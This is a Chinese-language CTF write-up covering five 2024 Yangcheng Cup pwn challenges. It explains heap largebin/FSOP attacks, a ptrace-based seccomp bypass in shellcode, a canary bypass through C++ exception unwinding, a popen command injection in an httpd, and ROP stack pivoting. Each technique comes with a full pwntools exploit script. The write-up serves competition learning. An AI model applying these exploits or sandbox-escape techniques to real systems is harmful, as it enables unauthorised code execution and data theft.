2024羊城杯PWN详细全解
默文 发表于 浙江 CTF 2003浏览 · 2024-08-30 03:20

hard+sandbox

这题难点在于绕过沙盒的限制,但是这里open和openat都禁用,并且固定执行环境,很难通过平替函数或者篡改cs切换执行环境来执行open函数

在堆题方面没什么好说的,一个大堆的申请限制+uaf漏洞,直接largebin attack+IO就能完成劫持rip

glibc2.36,这里使用了一个magic_gadget来配合使用setcontext完成劫持

0x000000000005e5b0 : mov rdx, rbx ; call qword ptr [rax + 0x38]

感谢pw师傅的指导,使用ptrace去hook->seccomp

ptrace 系统调用概述

int ptrace(enum __ptrace_request request, pid_t pid, void *addr, void *data);
//request:指定操作类型,如 PTRACE_ATTACH、PTRACE_DETACH、PTRACE_PEEKDATA 等。
//PTRACE_ATTACH,用于将当前进程附加到另一个进程的调试会话中。
//PTRACE_SETOPTIONS,用于设置附加的跟踪选项。
//PTRACE_CONT.用于继续执行之前被暂停的进程
//PTRACE_DETACH,用于从一个正在被调试的进程中分离(“脱离”)调试器,被调试进程将继续正常执行。
//pid:目标进程的进程 ID(PID)。
//addr 和 data:用于特定请求的额外数据。
//data:
//PTRACE_O_TRACESECCOMP:指定设置 seccomp 事件跟踪选项。

先fork开启一个子进程,

如果 pid 为 0,表示当前代码块是在子进程中执行的,否则是在父进程中执行的

然后使用ptrace附加选项(PTRACE_ATTACH)附加到子进程

调用 wait 函数等待子进程停止。此时子进程将会被暂停,父进程能够对其进行进一步操作。

接下来对seccomp设置子进程的监控选项,PTRACE_O_TRACESECCOMP使得父进程能够接收到 seccomp 触发的信号。

然后继续执行子进程PTRACE_CONT

等待 seccomp 触发wait(NULL);父进程会在这里阻塞,直到接收到子进程的 seccomp 触发事件。

这个时候子进程会触发seccomp然后,在父进程中对他进行hook处理,完成绕过

只需要将C语言代码转换为汇编执行就行

from pwn import *
from ctypes import*
from LibcSearcher import*
import pwnlib.shellcraft as sc

u64_Nofix=lambda p:u64(p.recvuntil(b'\n')[:-1].ljust(8,b'\x00'))
u64_fix=lambda p:u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
u64_8bit=lambda p:u64(p.recv(8))
def int_fix(p,count=12):
    p.recvuntil(b'0x')
    return int(p.recv(count),16)

FILENAME='../pwn5'
p=process(FILENAME)
elf=ELF(FILENAME)
ip='124.223.76.251'
port=9999
# p = remote(ip,port)

libc=ELF('../libc.so.6')

def command(option):
    p.recvuntil(b'>')
    p.sendline(bytes(str(option),'utf-8'))

def create(idx,Size):
    command(1)
    p.recvuntil(b'Index')
    p.sendline(bytes(str(idx),'utf-8'))
    p.recvuntil(b'Size')
    p.sendline(bytes(str(Size),'utf-8'))
def free(id):
    command(2)
    p.recvuntil(b'Index')
    p.sendline(bytes(str(id),'utf-8'))
def edit(id,Content):
    command(3)
    p.recvuntil(b'Index')
    p.sendline(bytes(str(id),'utf-8'))
    p.recvuntil(b'Content')
    p.send(Content)
def show(id):
    command(4)
    p.recvuntil(b'Index')
    p.sendline(bytes(str(id),'utf-8'))
context.arch='amd64'
create(0,0x500)
create(1,0x520)
create(2,0x510)
create(3,0x520)
free(2)
create(4,0x520)
show(2)
libc_add=u64_fix(p)
libcbase=libc_add-0x1f70f0
success('libcbase '+hex(libcbase))
edit(2,b'a'*(0x10-1)+b'A')
show(2)
p.recvuntil(b'A')
heap_add=u64_Nofix(p)
success('heap_add '+hex(heap_add))
edit(2,p64(libc_add)*2)

IO_list_all=libcbase+0x1f7660
IO_wfile_jumps=libcbase+0x1f30a0
success('IO_wfile_jumps '+hex(IO_wfile_jumps))
setcontextadd=libcbase+libc.sym['setcontext']
ret=libcbase+0x00000000000233d1
#fake_IO
fakeIO_add=heap_add-0xa40
orw_add=fakeIO_add+0xe0+0x50

A=fakeIO_add+0x40
B=fakeIO_add+0xe8+0x40-0x68
C=fakeIO_add
gg=libcbase+0x000000000005e5b0
leave_ret=libcbase+0x0000000000050877
fake_IO=b''
fake_IO=fake_IO.ljust(0x18,b'\x00')
fake_IO+=p64(1) #_IO_write_ptr>_IO_write_base
fake_IO=fake_IO.ljust(0x68,b'\x00')
fake_IO+=p64(orw_add-0x8)#lock 
fake_IO=fake_IO.ljust(0x78,b'\x00')
fake_IO+=p64(fakeIO_add)#lock 
fake_IO=fake_IO.ljust(0x90,b'\x00')
fake_IO+=p64(A)# _wide_data=rdx
fake_IO+=p64(leave_ret)
fake_IO=fake_IO.ljust(0xc8,b'\x00')
fake_IO+=p64(IO_wfile_jumps)
fake_IO+=p64(orw_add)+p64(ret)+p64(0)+p64(setcontextadd+61)+b'\x00'*0x20
fake_IO+=p64(B)+p64(gg)

mprotect=libcbase+libc.sym['mprotect']
rdi_ret=libcbase+0x0000000000023b65
rsi_ret=libcbase+0x00000000000251be
rdx_rbx_ret=libcbase+0x000000000008bcd9
NR_fork=57
NR_ptrace=101
NR_wait=61
PTRACE_ATTACH=16
PTRACE_SETOPTIONS = 0x4200
PTRACE_O_TRACESECCOMP   = 0x00000080
PTRACE_CONT = 7
PTRACE_DETACH=17

shellcode2 = f'''
main:
/*fork()*/
    push {NR_fork}
    pop rax
    syscall
    push rax
    pop rbx
    test rax,rax
    jz child_code

/*ptrace(PTRACE_ATTACH, pid, NULL, NULL)*/
    xor r10, r10 
    xor edx, edx
    mov rsi,rbx
    mov rdi,{PTRACE_ATTACH}       
    push {NR_ptrace}
    pop rax         
    syscall

    /* wait child  */         
    xor rdi, rdi         
    push {NR_wait}
    pop rax
    syscall

/* ptrace(PTRACE_SETOPTIONS, pid, NULL, PTRACE_O_TRACESECCOMP) */
    mov r10,{PTRACE_O_TRACESECCOMP}
    xor rdx, rdx
    mov rsi,rbx 
    mov rdi, 0x4200 
    push {NR_ptrace}
    pop rax                   
    syscall
    js error

    /* ptrace(PTRACE_CONT, pid, NULL, NULL) */
    xor r10,r10
    xor rdx,rdx
    mov rsi,rbx
    mov rdi, {PTRACE_CONT}  /* PTRACE_CONT */
    push {NR_ptrace}
    pop rax
    syscall
    js error

    /* Wait seccomp  */
    xor rdi, rdi
    push {NR_wait}
    pop rax            
    syscall

    xor r10,r10
    xor rdx,rdx
    mov rsi,rbx
    mov rdi,{PTRACE_DETACH}
    push {NR_ptrace}
    pop rax
    syscall
    jmp end

child_code:
    {shellcraft.open('/flag')}
    {shellcraft.sendfile(1,3,0,0x100)}
error:
/* exit */
    xor rdi, rdi
    mov rax, 60           
    syscall 
end:
    nop
'''
orw=p64(rdi_ret)+p64(fakeIO_add-(fakeIO_add&0xfff))+p64(rsi_ret)+p64(0x5000)
orw+=p64(rdx_rbx_ret)+p64(7)*2+p64(mprotect)+p64(orw_add+0x48)
orw+=asm(shellcode2)

payload=fake_IO+orw
edit(0,payload)
free(0)
edit(2,p64(heap_add)*2+p64(0)+p64(IO_list_all-0x20))
create(10,0x600)
command(5)

p.interactive()

2024羊城杯logger

C++异常处理机制

简单例子

这是一个简单的异常处理的例子

当然触发异常的时候还有很多情况(内存溢出,下标越界等等)

异常处理机制

异常抛出(throw)后会去捕获catch来执行异常处理,

  • 但是当当前层没有的时候就会一直逆到外层去捕获catch,直到走完整个调用链,然后程序abort。
  • 如果捕获到catch就会执行catch块中的代码

整个过程被叫做栈展开( stack unwind),分为两部分:

  1. 异常后,对调用链一直捕获catch
  2. 如果没有找到catch,程序abort,如果找到会记下当前位置再重新抛回到异常处,然后清理调用链上的所有局部变量,直到catch处

Itanium C++ ABI

Itanium ABI 定义了一系列函数及相应的数据结构来建立整个异常处理的流程及框架

_Unwind_RaiseException,//用于栈展开,throw抛出异常被调用
_Unwind_Resume,
_Unwind_DeleteException,
_Unwind_GetGR,
_Unwind_SetGR,
_Unwind_GetIP,
_Unwind_SetIP,
_Unwind_GetRegionStart,
_Unwind_GetLanguageSpecificData,
_Unwind_ForcedUnwind

_Unwind_RaiseException都会调用personality_routine(__gxx_personality_v0) ,两个合并完成的工作:

  • _Unwind_RaiseException:会在内部把当前函数栈调用重建,然后传给personality_routine
  • personality_routine:1、检查是否有catch;2、清理调用的栈上局部变量
_Unwind_RaiseException(exception)
{
    bool found = false;
    while (1)
     {
         context = build_context();//栈调用重建
         if (!context) break;
         found = personality_routine(exception, context, SEARCH);
         if (found or reach the end) break;
     }

    while (found)
    {
        context = build_context();
        if (!context) break;
        personality_routine(exception, context, UNWIND);
        if (reach_catch_function) break;
    }
}

上调试看一下调用的过程

先从IDA静态看,会先调用cxathrow,这里的exception由cxa_allocate_exception创建

当我们在程序里执行了抛出异常后,编译器为我们做了如下的事情:

  1. 调用 __cxa_allocate_exception 函数,分配一个异常对象。
  2. 调用 __cxa_throw 函数,这个函数会将异常对象做一些初始化。
  3. __cxa_throw() 调用 Itanium ABI 里的 _Unwind_RaiseException() 从而开始 unwind。
  4. _Unwind_RaiseException() 对调用链上的函数进行 unwind 时,调用 personality routine。
  5. 该异常如能被处理(有相应的 catch),则 personality routine 会依次对调用链上的函数进行清理。
  6. _Unwind_RaiseException() 将控制权转到相应的catch代码。
  7. unwind 完成,用户代码继续执行。

调试的调用栈也是这样的,具体细节不再展开。

如何分析catch捕获后的一个执行代码

首先了解一下DWARF

这是以一种统一的风格来适应多种语言符号化的源码级调试需求的调试信息格式

readelf -wf throw>throw.txt

可以在一段中发现他的DW_CFA_def_cfa_expression很长,我程序中就写了一段catch处理过程,这里的DW_CFA_def_cfa_expression就是DWARF调试信息格式中的一部分,特别是描述栈帧的恢复和计算方式。它包含了几个操作,表示了一种用于调试的栈帧指针(CFA,Canonical Frame Address)定义,使用的是一组DWARF操作码。

DW_CFA_def_cfa_expression:表示定义CFA的表达式。这是一个用于描述当前栈帧的指令,它提供了CFA的计算方式。
DW_OP_breg7 (rsp):这个操作表示使用寄存器7(通常表示rsp寄存器,即栈指针)。这个操作返回rsp寄存器的当前值。
DW_OP_breg16 (rip):这个操作表示使用寄存器16(通常表示rip寄存器,即指令指针)。它返回rip寄存器的当前值。
DW_OP_lit15:表示将字面量值15加载到栈顶。字面量值通常是一些常量。
DW_OP_and:表示从栈中弹出两个值并进行按位与操作。这个操作会将结果压入栈顶。
DW_OP_lit11:将字面量值11加载到栈顶。
DW_OP_ge:表示从栈中弹出两个值并进行大于等于比较。如果栈顶元素大于或等于次顶元素,则将结果(真或假)压入栈顶。
DW_OP_lit3:将字面量值3加载到栈顶。
DW_OP_shl:表示从栈中弹出两个值,并将顶部的值左移指定数量。这里是将前一个值左移3位。
DW_OP_plus:表示从栈中弹出两个值并相加。结果再压入栈顶。

C++异常处理攻击手法

处理的大概流程在逆向的时候已经分析过,现在就针对分析攻击手段

C++一个标准的抛出异常函数

通过_cxa_allocateexception来完成初始化,然后通过__cxa_throw来完成抛出

最关键的函数,_Unwind_RaiseException栈展开和catch捕获的一个实现

如果捕获到会直接返回到catch块中,捕获完毕交给_Unwind_Resume,否则弹到stderr然后abort

进入catch块中,通过_Unwind_Resume恢复程序的正常执行流程,在调用栈中转移控制权,确保程序能从异常发生的地方继续执行。

执行完成,通过__cxa_begin_catch 初始化与捕获异常相关的上下文执行。

__cxa_end_catch用于处理异常捕获结束后的清理工作,执行完成直接交给原有程序继续执行,发现本来的stack_fail检查没有了

如果这个时候存在栈溢出,通过栈溢出+异常触发就能绕过canary的检查,并且程序正常执行

题目—>2024羊城杯logger

在Warn中发现栈溢出,但是开了canary不能直接溢出,还有一个C++异常的处理

通过上面的浅析大致有一个抛出的过程,通过栈展开,一层一层往上找catch块,找到后恢复初始化的一个过程

那么如果通过溢出覆盖了rbp,也能正常执行吗,是可以进行的,栈展开的时候是通过在内部把当前函数栈调用重建,然后通过回抛方式一层一层往上捕获的过程,不以当前rbp做操作。

通过溢出只修改rbp

通过_Unwind_RaiseException依然能够捕获到catch块,并且rbp被我覆盖

再次通过_Unwind_Resume恢复后rbp变为我覆盖的地址,并且程序正常执行

这个只是覆盖了rbp,并没有覆盖返回地址的情况下,我们能控制rbp,如果后面程序执行函数返回leave;ret;我们能直接完成栈迁移控制rip,可以看看覆盖rbp的时候的,返回地址是什么0x401a37,是try块下面的一个地址

他指向的这个地址又是一个jmp,jmp后面的可以不用管,注意这里IDA识别catch块,

当触发异常的时候会通过_Unwind_Resume一层一层抛上去

所以当在Warn函数触发异常的时候(这个try块很大,一直包含到很下面)

通过Warn中的异常触发,throw先去捕获上一层catch

然后会调转指向_Unwind_Resume现在还是再Warn函数中,还没有抛到上一层,通过_Unwind_Resume回抛到上一级main函数

main函数中的catch块,然后再次通过_Unwind_Resume去恢复到原来mian函数的执行上下文

在原来执行过程中是这样的,因为我try对于的始终是Warn的异常捕获,当我覆盖返回地址的时候,比如说覆盖地址为其他的try捕获,那么按照的栈展开回抛机制,程序会被回抛到,try对应的catch块中,

这里把返回地址改为0x401BC2+1(执行特性,你不可能下一条执行地址和你当前地址一样吧)

第一次catch捕获成功,现在进入回抛到上一层

可以发现回抛jmp后地址不再是原来catch块,而是我篡改后对应的catch块

这个时候catch会执行system,并且从[rbp-0x18]上取值,[rbp-0x18]来着rax,rax是begin_catch初始化的结果,这个我们无法通过栈溢出来控制

在第一个函数Trace中发现有off_by_null的溢出,还有一个是循环下标的一次循环溢出,溢出后可以篡改到system使用的字符串

小结:此攻击通过栈溢出+异常触发可以绕过canary检查,可以控制rbp,和一定内的rip执行(有catch捕获处)

from pwn import *
from ctypes import*
from LibcSearcher import*


u64_Nofix=lambda p:u64(p.recvuntil(b'\n')[:-1].ljust(8,b'\x00'))
u64_fix=lambda p:u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
u64_8bit=lambda p:u64(p.recv(8))
def int_fix(p,count=12):
    p.recvuntil(b'0x')
    return int(p.recv(count),16)

FILENAME='../pwn'
p=process(FILENAME)
elf=ELF(FILENAME)
ip='139.155.126.78'
port=34700
# p = remote(ip,port)



def command(option):
    p.recvuntil(b'chocie')
    p.sendline(bytes(str(option),'utf-8'))

def Trace(Content,records=b'y'):
    command(1)
    p.recvuntil(b'here')
    p.send(Content)
    p.recvuntil(b'records?')
    p.sendline(records)

def Warn(plz):
    command(2)
    p.recvuntil(b'plz')
    p.send(plz)

for i in range(8):
    Trace(b'a'*0x10)
Trace(b'/bin/sh\x00')


ret=0x000000000040101a
bss=0x404000+0x50+0x500
leave_ret=0x00000000004015a9
unwind_try=0x401BC2+1
payload=b''
payload=payload.ljust(0x70,b'A')
payload+=p64(bss)+p64(unwind_try)
Warn(payload)

p.interactive()

httpd

popen函数

FILE *popen(const char *command, const char *mode);

popen 函数是 C 标准库中的一个函数,通常用于创建一个进程来执行一个命令,并返回一个管道,用于与这个进程进行通信。

题目解析

前面都是web的头,直接抓包格式就可以直接拿到

没有什么问题,都是格式的处理

然后有一个URL解码,这个后面有用

然后做了目录穿越的check

还有一个字符串的waf

check完直接popen了,这个是通过管道来执行命令的,能直接执行命令

上面的waf根本不严,mv或者cp都可以直接把flag移到当前目录下面然后读取出来,空格需要URL解码不然第一次输入会被截断

from pwn import *

p = remote('139.155.126.78',34700)

payload='get '+'/cp%20/flag%20/home/ctf/html'+' HTTP/1.0'
p.sendline(payload)

p.sendline('Host: '+'192.168.0.1')
p.sendline('Content-Length: '+'0')
p.close()

#读取flag
p = remote('139.155.126.78',34700)
payload='get '+'/flag'+' HTTP/1.0'
p.sendline(payload)
host='127.0.0.1'
p.sendline('Host: '+'192.168.0.1')
p.sendline('Content-Length: '+'0')

p.interactive()

TravelGraph

glibc2.35下的堆题,有一个uaf漏洞

只能申请大堆,并且size通过city选择限制为三个

在edit函数中要满足两个条件才可以完成修改

本地堆题部分不难,就是先利用uaf漏洞和堆风水,泄露出来libc地址和堆地址,然后利用edit修改bin完成largbin attack,

泄露地址

直接利用申请chunk时用的read输入,不截断,能够泄露残留地址

完成EDIT条件

这里我没仔细看是什么转换,直接代码全部抠出来采取C++多线程爆破大概2、3分钟就能爆破出来

爆破代码,代码没什么全部复制出来跑就行,主要多线程爆破的时候转换问题,比赛当场写的,就写了爆破三次的过程没有优化过,在这里不得不说C++性能是真的快。这里变量的设置完全可以使用set_reg代替,但是我懒的换了哈哈数模转换肯定是比取内存快的

#include<iostream>
#include<cstring>
#include<algorithm>
#include<cmath>
#include<thread>
#include<vector>
#include<Windows.h>
#include<mutex>

using namespace std;
#define _QWORD unsigned long long
#define MAX_COUNT 24999
mutex mtx;
uint64_t my_count = 0;
uint32_t Array_idx = 0;
DWORD flag[64]{ 0 };
int  main1(unsigned int a1, unsigned int flag);
int main1(unsigned int a1);
void bf();
void bf_Array();

typedef struct MyStruct
{
    int form;
    int to;
    int flag;
}MYHEAP;

__int64  minDistance(int* a1, int* a2)
{
    int v3; // [rsp+14h] [rbp-Ch]
    unsigned int v4; // [rsp+18h] [rbp-8h]
    int i; // [rsp+1Ch] [rbp-4h]

    v3 = 9999;
    for (i = 0; i <= 4; ++i)
    {
        if (!a2[i] && v3 >= a1[i])
        {
            v3 = a1[i];
            v4 = i;
        }
    }
    return v4;
}
int func(MYHEAP* heap[],int count) {
    int i; // [rsp+0h] [rbp-D0h]
    int j; // [rsp+4h] [rbp-CCh]
    int k; // [rsp+8h] [rbp-C8h]
    int m; // [rsp+Ch] [rbp-C4h]
    int city_name; // [rsp+10h] [rbp-C0h]
    int v6; // [rsp+14h] [rbp-BCh]
    int v7; // [rsp+18h] [rbp-B8h]
    int v8; // [rsp+1Ch] [rbp-B4h]
    int v9[8]; // [rsp+20h] [rbp-B0h] BYREF
    int v10[8]; // [rsp+40h] [rbp-90h] BYREF
    int v11[26]; // [rsp+60h] [rbp-70h]
    unsigned __int64 v12; // [rsp+C8h] [rbp-8h]

    v11[0] = 0;
    v11[1] = 9999;
    v11[2] = 9999;
    v11[3] = 9999;
    v11[4] = 9999;
    v11[5] = 9999;
    v11[6] = 0;
    v11[7] = 9999;
    v11[8] = 9999;
    v11[9] = 9999;
    v11[10] = 9999;
    v11[11] = 9999;
    v11[12] = 0;
    v11[13] = 9999;
    v11[14] = 9999;
    v11[15] = 9999;
    v11[16] = 9999;
    v11[17] = 9999;
    v11[18] = 0;
    v11[19] = 9999;
    v11[20] = 9999;
    v11[21] = 9999;
    v11[22] = 9999;
    v11[23] = 9999;
    v11[24] = 0;
    for (i = 0; i != count; ++i)
    {
        v7 = heap[i]->form;
        v8 = heap[i]->to;
        if (heap[i]->flag < v11[5 * v7 + v8])
        {
            v11[5 * v7 + v8] = heap[i]->flag;
            v11[5 * v8 + v7] = heap[i]->flag;
        }
    }
    for (j = 0; j <= 4; ++j)
    {
        v9[j] = 9999;
        v10[j] = 0;
    }
    v9[0] = 0;
    for (k = 0; k <= 4; ++k)
    {
        v6 = minDistance(v9, v10);
        v10[v6] = 1;
        for (m = 0; m <= 4; ++m)
        {
            if (!v10[m] && v11[5 * v6 + m] && v9[v6] != 9999 && v9[v6] + v11[5 * v6 + m] < v9[m])
                v9[m] = v9[v6] + v11[5 * v6 + m];
        }
    }
    for (m = 0; m <= 4; ++m)
    {
        //printf("%d  ", v9[m]);
        if (v9[m] > 0x7D0 && v9[m] != 9999)
        {
            for (int j = 0; j <= 4; ++j)
            {
                printf("%d  ", v9[j]);
            }
            putchar('\n');
            puts("That's so far! Please review and rewrite it!");
            for (size_t i = 0; i < count; i++)
            {
                printf("%d %d %d\n", heap[i]->form, heap[i]->to, heap[i]->flag);
            }
            return 1;
        }
    }
    return 0;
}
void init(MYHEAP* ptr[],int length) {
    for (size_t i = 0; i < length; i++)
    {
        ptr[i]= new MYHEAP;
        ptr[i]->to = ptr[i]->form = ptr[i]->flag = 0;
    }
}
void reg(MYHEAP* ptr) {
    ptr->to = ptr->form = ptr->flag = 0;
}
void set(MYHEAP* ptr,int count) {
    ptr->form = (count / (5 * 1000)) % 5;
    ptr->to = (count / 1000) % 5;
    ptr->flag = count % 1000;

}
int  change(MYHEAP* ptr) {
    int form = ptr->form;
    int to = ptr->to;
    int flag = ptr->flag;
    if (flag < 999) {
        ptr->flag++;
        return 0;
    }
    ptr->flag = 0;
    if (ptr->form < 4) {
        ptr->form++;
        return 0;
    }
    ptr->form = 0;
    if (ptr->to < 4) {
        ptr->to++;
        return 0;
    }
    return 1;
}

int main()
{

    const int Max_count = 32;
    vector<thread> mythreads;
    for (size_t i = 0; i < Max_count; i++)
    {
        mythreads.emplace_back(bf);
    }
    for (auto& i: mythreads)
    {
        i.join();
    }

    system("pause");
    return 0;
}

void bf() {
    MYHEAP* heap[3];
    int add_offset = 100;
    init(heap, 3);
    while (true)
    {
        mtx.lock();
        uint64_t local = my_count;
        my_count += add_offset;
        mtx.unlock();
        if (local >= MAX_COUNT)break;
        printf("%d\n", local);
        set(heap[0], local);
        for (uint64_t i = local; i < local + add_offset; i++)
        {
            set(heap[0], i);
            for (size_t j = 0; j < 5 * 5 * 1000; j++)
            {
                change(heap[1]);
                for (size_t k = 0; k < 5 * 5 * 1000; k++)
                {
                    //printf("k->%d\n form:%d to:%d flag:%d\n", k, heap[1]->form, heap[1]->to, heap[1]->flag);
                    change(heap[2]);
                    if (func(heap, 3)) {
                        mtx.lock();
                        my_count = MAX_COUNT;
                        mtx.unlock();
                        return;
                    }
                }
            }
            reg(heap[1]);
            reg(heap[2]);
        }
    }
}

爆破出来多个结果,随便用一个就行

然后就是正常的打IO操作

from pwn import *
from ctypes import*
from LibcSearcher import*


u64_Nofix=lambda p:u64(p.recvuntil(b'\n')[:-1].ljust(8,b'\x00'))
u64_fix=lambda p:u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
u64_8bit=lambda p:u64(p.recv(8))
def int_fix(p,count=12):
    p.recvuntil(b'0x')
    return int(p.recv(count),16)

FILENAME='../pwn10'
p=process(FILENAME)
elf=ELF(FILENAME)
# p = remote('139.155.126.78', 39147)

libc=ELF('../libc.so.6')




def command(option):
    p.recvuntil(b'5. Calculate the distance.')
    p.sendline(bytes(str(option),'utf-8'))
def choice_city(idx):
    if(idx==0):
      temp=b'guangzhou'
    elif(idx==1):
      temp=b'nanning'
    elif(idx==2):
      temp=b'changsha'
    elif(idx==3):
      temp=b'nanchang'
    else:
      temp=b'fuzhou'
    return temp
def create(idx,From,To,far=1000,Note=b'a'):
    command(1)
    p.recvuntil(b'want?')
    temp=b''
    if(idx==0):
      temp=b'car'
    elif(idx==1):
      temp=b'train'
    elif(idx==2):
      temp=b'plane'
    else:
      temp=b'yes'
    p.sendline(temp)
    p.recvuntil(b'From')
    p.sendline(choice_city(From))
    p.recvuntil(b'To')
    p.sendline(choice_city(To))
    p.recvuntil(b'far')
    p.sendline(bytes(str(far),'utf-8'))
    p.recvuntil(b'Note')
    p.send(Note)
def free(From,To):
    command(2)
    p.recvuntil(b'From')
    p.sendline(choice_city(From))
    p.recvuntil(b'To')
    p.sendline(choice_city(To))
def edit(From,To,idx,Note,far=0x10):
    command(4)
    p.recvuntil(b'From')
    p.sendline(choice_city(From))
    p.recvuntil(b'To')
    p.sendline(choice_city(To))
    p.recvuntil(b'change?')
    p.sendline(bytes(str(idx),'utf-8'))
    p.recvuntil(b'far')
    p.sendline(bytes(str(far),'utf-8'))
    p.recvuntil(b'Note')
    p.send(Note)
def show(From,To):
    command(3)
    p.recvuntil(b'From')
    p.sendline(choice_city(From))
    p.recvuntil(b'To')
    p.sendline(choice_city(To))


def Dijkstra(travel):
    command(5)
    p.recvuntil(b'travel')
    p.sendline(choice_city(travel))

create(2,0,1,900)
create(0,2,1,102)
create(1,2,4,999)
Dijkstra(4)
create(0,0,0)#0
create(2,2,0)#1
create(2,2,2)#2

free(2,0)
free(0,0)
create(2,2,0,1000,b'a'*0x510)#3 0
show(2,0)

libc_add=u64_fix(p)
libcbase=libc_add-0x21ace0
success('libcbase '+hex(libcbase))
create(2,2,2)#4
create(0,0,0,1000,b'a'*7+b'A')#5
show(0,0)
p.recvuntil(b'A')
heap_add=u64_Nofix(p)
success('heap_add '+hex(heap_add))


IO_wfile_jumps=libcbase+0x2170c0
success('IO_wfile_jumps '+hex(IO_wfile_jumps))
setcontextadd=libcbase+libc.sym['setcontext']
ret=libcbase+0x0000000000029139
#fake_IO
fakeIO_add=heap_add-0xf90
orw_add=fakeIO_add+0xe0+0x50
A=fakeIO_add+0x40
B=fakeIO_add+0xe8+0x40-0x68
C=fakeIO_add
fake_IO=p64(0)#flag rdi
fake_IO=fake_IO.ljust(0x28-0x20,b'\x00')
fake_IO+=p64(1) #_IO_write_ptr>_IO_write_base
fake_IO=fake_IO.ljust(0x88-0x20,b'\x00')
fake_IO+=p64(fakeIO_add)#lock 
fake_IO=fake_IO.ljust(0xa0-0x20,b'\x00')
fake_IO+=p64(A)# _wide_data=rdx
fake_IO=fake_IO.ljust(0xd8-0x20,b'\x00')
fake_IO+=p64(IO_wfile_jumps)
fake_IO+=p64(orw_add)+p64(ret)+b'\x00'*0x30
fake_IO+=p64(B)+p64(setcontextadd+61)
context.arch='amd64'
mprotect=libcbase+libc.sym['mprotect']
rdi_ret=libcbase+0x000000000002a3e5
rsi_ret=libcbase+0x000000000002be51
rdx_r12_ret=libcbase+0x000000000011f2e7
orw=p64(rdi_ret)+p64(fakeIO_add-(fakeIO_add&0xfff))+p64(rsi_ret)+p64(0x5000)
orw+=p64(rdx_r12_ret)+p64(7)*2+p64(mprotect)+p64(orw_add+0x48)
orw+=asm(shellcraft.cat('flag'))

create(2,2,3)
create(0,0,3)
create(1,1,1,100,p64(0)+p64(0x511))

free(0,3)
free(2,3)
create(0,0,3)
create(2,4,0,100,b'a'*8+p64(0x521)+p32(3)*3)

# free(3,3)
free(0,1)
free(2,1)
create(0,0,0)
payload=b'\x00'*8+p64(0x501)+p32(4)*2+p64(0)+fake_IO+orw
payload=payload.ljust(0x500,b'a')+p64(0)+p64(0x20+0x531)
create(2,4,1,100,payload)

free(3,3)
create(2,2,2)
fd=libcbase+0x21b110
_IO_list_all=libcbase+0x21b680
target=_IO_list_all-0x20
payload=b'b'*0x8+p64(0x521)+p64(fd)*2+p64(0)+p64(target)
edit(4,0,0,payload)
free(4,4)
create(2,2,2)
create(2,2,3,100,b'a'*8+p64(0x521)+p32(3)*3)
command(6)

p.interactive()

pstack

直接溢出0x10字节,但是没有地址,不能直接弹shell

需要先泄露libc地址

可以看到整个ROP很有用,再次的read和leave;ret;可以刚好完成栈迁移,因为第一次的溢出已经把rbp改成了bss段上面,然后再次的leave;ret;直接迁移过去就行

system执行的时候会大量push操作,会把栈抬高,需要迁移的bss段要在很下面,不然会导致栈被抬高至不可写地址导致失败

from pwn import *
from ctypes import*
from LibcSearcher import*


u64_Nofix=lambda p:u64(p.recvuntil(b'\n')[:-1].ljust(8,b'\x00'))
u64_fix=lambda p:u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
u64_8bit=lambda p:u64(p.recv(8))
def int_fix(p,count=12):
    p.recvuntil(b'0x')
    return int(p.recv(count),16)


FILENAME='../pwn'
p=process(FILENAME)
elf=ELF(FILENAME)
# p = remote('3.1.19.2', 8888)

libc=ELF('../libc.so.6')



ret=0x0000000000400506
rdi_ret=0x0000000000400773
leak='puts'
leak_got=elf.got[leak]
puts_plt=elf.plt['puts']
read_plt=elf.plt['read']
main=0x400540
bss=0x601000+0x500
payload=b'a'*(0x30)+p64(bss)+p64(0x4006C4)
p.send(payload) 

sleep(1)
payload=b'a'*(0x8)+p64(rdi_ret)+p64(leak_got)+p64(puts_plt)+p64(main)
payload=payload.ljust(0x30,b'a')+p64(bss-0x30)
payload+=p64(0x00000000004006db)
p.send(payload)

leak_add=u64(p.recvuntil(b'\x7f')[-6:]+b'\x00\x00')
libcbase=leak_add-libc.symbols[leak]
system=libcbase+libc.symbols['system']
str_bin_sh=libcbase+next(libc.search(b'/bin/sh'))
log.info('libcbase '+hex(libcbase))

bss=0x602000-0x50
payload=b'a'*(0x30)+p64(bss)+p64(0x4006C4)
p.send(payload) 
sleep(1)
execve=0xebc88+libcbase
xor_edx=0x00000000000a8558+libcbase
payload=b'a'*(0x8)+p64(ret)+p64(rdi_ret)+p64(str_bin_sh)+p64(system)
payload=payload.ljust(0x30,b'a')+p64(bss-0x30)
payload+=p64(0x00000000004006db)
p.send(payload)

p.interactive()
附件:
0 条评论
某人
表情
可输入 255